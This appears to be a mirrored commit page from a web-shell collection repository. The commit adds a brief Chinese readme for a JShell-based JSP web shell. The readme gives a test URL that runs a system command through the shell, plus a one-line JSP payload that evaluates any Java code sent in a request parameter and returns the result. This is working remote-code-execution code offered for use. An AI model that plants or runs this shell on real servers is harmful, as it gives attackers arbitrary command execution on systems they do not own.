mirror of
https://github.com/tennc/webshell.git
synced 2025-12-06 04:41:28 +00:00
Create jshell.md
This commit is contained in:
9
jsp/p2j.cn/jshell.md
Normal file
9
jsp/p2j.cn/jshell.md
Normal file
@@ -0,0 +1,9 @@
|
||||
readme
|
||||
|
||||

|
||||
测试用例:http://localhost:8080/modules/jshell.jsp?src=new%20java.io.BufferedReader(new%20java.io.InputStreamReader(Runtime.getRuntime().exec(%22pwd%22).getInputStream())).readLine()
|
||||
|
||||
如果强迫症想撸掉多余的输出:
|
||||
|
||||
|
||||
<%=jdk.jshell.JShell.builder().build().eval(request.getParameter("src")).get(0).value().replaceAll("^\"", "").replaceAll("\"$", "")%>
|
||||
Reference in New Issue
Block a user